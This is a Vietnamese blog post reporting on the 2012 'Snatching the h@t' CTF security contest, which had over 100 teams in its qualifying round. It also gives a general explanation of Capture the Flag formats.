Cuộc thi “Snatching the h@t” năm nay sẽ bao gồm 2 vòng: vòng loại và vòng chung kết. Vòng loại được thi đấu trực tuyến thông qua mạng Internet. Các đội đứng đầu ở vòng loại sẽ được tham gia thi đấu ở vòng chung kết tại khách sạn New World ở TP HCM. Các thông tin về cuộc thi, đơn vị bảo trợ,… xin vui lòng xem tại website của IDG tại http://cso.org.vn/contest

Hiện vòng loại của cuộc thi đang diễn ra được 1/2 thời gian với hơn 100 đội tham gia. Đội PiggyBird đến từ Hà Nội đang tạm dẫn đầu với 1800 điểm. Vòng loại dự kiến sẽ kết thúc vào lúc 09 giờ sáng thứ 2 26/11/2012, kéo dài thêm 12 tiếng so với dự kiến ban đầu do hệ thống website thi đấu bị tấn công DDoS và cần thời gian khắc phục.

Thông tin cần biết:

Về hình thức thi đấu CTF

CTF – Môn thể thao trí tuệ của giới hacker!

CTF (Capture the Flag) là một cuộc thi kiến thức chuyên sâu về bảo mật máy tính, được tổ chức theo mô hình trò chơi chiến tranh mạng, tập trung vào hai kỹ năng tấn công và phòng thủ mạng máy tính của người chơi. Các đội tham gia CTF sẽ được cấp một máy chủ (hoặc một mạng máy chủ) đã cài đặt sẵn nhiều chương trình chứa các lỗ hổng bảo mật. Nhiệm vụ của đội chơi là tìm ra các lỗ hổng đó, tấn công các máy chủ của các đội khác để ghi điểm, đồng thời phải nhanh chóng vá các lỗ hổng trên máy chủ của đội nhà, để tránh bị tấn công bởi các đội khác.

CTF hấp dẫn và thu hút giới hacker bởi lẽ các cuộc thi này phản ánh rất chân thật công việc hàng ngày và đòi hỏi người chơi phải có các kỹ năng của một hacker thực thụ. Muốn chiến thắng ở một cuộc thi CTF, người chơi không chỉ phải nhuần nhuyễn các kỹ năng phát hiện và khai thác lỗ hổng bảo mật, mà còn phải thật sự lành nghề trong việc bảo vệ sự an toàn và duy trì tính liên tục của hệ thống mạng trước các đợt tấn công dồn dập từ bên ngoài.

Với cường độ và áp lực rất cao, cho nên mặc dù thể lệ CTF thường cho phép cá nhân tham gia nhưng chiến thắng thường thuộc về các đội có nhiều thành viên có trình độ cao và có khả năng “phối hợp tác chiến” hiệu quả.

Các cuộc thi CTF ngày nay thường chia thành 3 hình thức chơi chính:

  • Tấn công & phòng thủ (attack & defence) như luật chơi cổ điển ban đầu.
  • Hình thức thứ 2 là trả lời thử thách theo từng chủ đề (Jeopardy-style). Hình thức này thông thường sẽ chia theo chủ đề được phân theo các phân mục như : Web, Forensic, Crypto, Binary, Pwnable… Ở mỗi phân mục sẽ có các câu hỏi theo độ khó tăng dần.
  • Hình thức thứ 3 là sự kết hợp của hình thức 1 và 2, chẳng hạn như kết hợp giữa hình thức chỉ có tấn công (attack only) với các dạng thử thách khác nhau. Đây cũng chính là hình thức của cuộc thi Snatching the h@t năm nay.

Việc tham gia thi đấu các kỳ CTF cũng là dịp để giúp học hỏi thêm nhiều kinh nghiệm và kiến thức bổ ích. Lịch sử CTF đã ghi nhận sự tham gia của rất nhiều hacker trẻ mà sau này đã trở thành những chuyên gia bảo mật tên tuổi trên thế giới.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »